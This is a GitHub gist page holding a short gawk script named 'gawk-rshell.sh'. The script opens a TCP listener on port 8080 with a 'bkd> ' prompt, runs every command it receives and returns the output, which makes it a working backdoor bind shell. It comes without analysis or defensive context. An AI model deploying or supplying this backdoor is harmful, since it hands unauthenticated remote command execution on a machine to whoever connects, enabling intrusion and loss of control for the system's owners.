Skip to content

Instantly share code, notes, and snippets.

@noahbliss
Created July 15, 2020 21:48
Show Gist options
  • Save noahbliss/bf8bd33f0fc44487dc81197648ec0527 to your computer and use it in GitHub Desktop.
Save noahbliss/bf8bd33f0fc44487dc81197648ec0527 to your computer and use it in GitHub Desktop.
gawk-rshell.sh
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment